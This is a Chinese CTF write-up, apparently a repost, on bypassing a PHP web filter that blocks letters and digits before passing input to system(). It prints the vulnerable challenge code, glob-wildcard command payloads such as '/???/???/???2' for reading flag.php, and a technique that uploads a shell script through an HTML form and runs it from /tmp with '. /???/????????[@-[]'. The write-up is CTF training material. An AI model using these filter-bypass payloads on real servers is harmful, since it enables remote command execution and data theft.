总结下命令执行绕过字母数字的一些小技巧。
管理员为了防止任意用户输入的恶意代码导致的命令执行,在用户输入处加了一层waf拦截,waf可能是通过正则匹配过滤了字母,也可能是通过正则匹配过滤了字母和数字。
<?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date: 2020-09-05 20:49:30# @Last Modified by: h1xa# @Last Modified time: 2020-09-07 20:03:51# @email: h1xa@ctfer.com# @link: https://ctfer.com*/// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
Linux的bin目录一般保存了所有的二进制命令, 正常我们输入的cat xxx啥的 其实也可以通过/bin/cat 打开文件,而哪种命令打开文件还能带有数字呢? 可以尝试使用 base64 去打开文件,将文件以base64编码输出
可以发现我的Kali东西比较多。。。 发现又是x11 不折腾了 常规操作,如果是比较干净的linux系统直接 /???/???/???2 ???????? 最后????????是 flag.php 压缩后 直接 访问 对应的url即可比如 访问 https:/xx/flag.php.bz2 可用直接下载
非常妙的思路,linux中.相当于source,可以直接执行sh文件 不管有无文件后缀名,都是根据命令来选择打开文件的方式。 而且因为php文件在上传时 会在服务端/tmp目录下生成php?????? 随机六个字母 所以可以通过 ?c=. /???/????????[@-[] 去进行匹配 [@-[]也是一种通配符,匹配方式是匹配@~[的范围,查ascii表可知道 正好是大写字母 然后我们生成一个提交表单
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title></head><body><form action="{.url}" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"></form></body></html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="{.url}" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
向指定url进行php文件提交 同时?c=. /???/????????[@-[] 在php文件里写入
#!/bin/bashls
#!/bin/bash
ls
多次提交,可实现任意命令执行。
原文链接:http://www.cnblogs.com/Dark1nt/p/14852301.html
本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728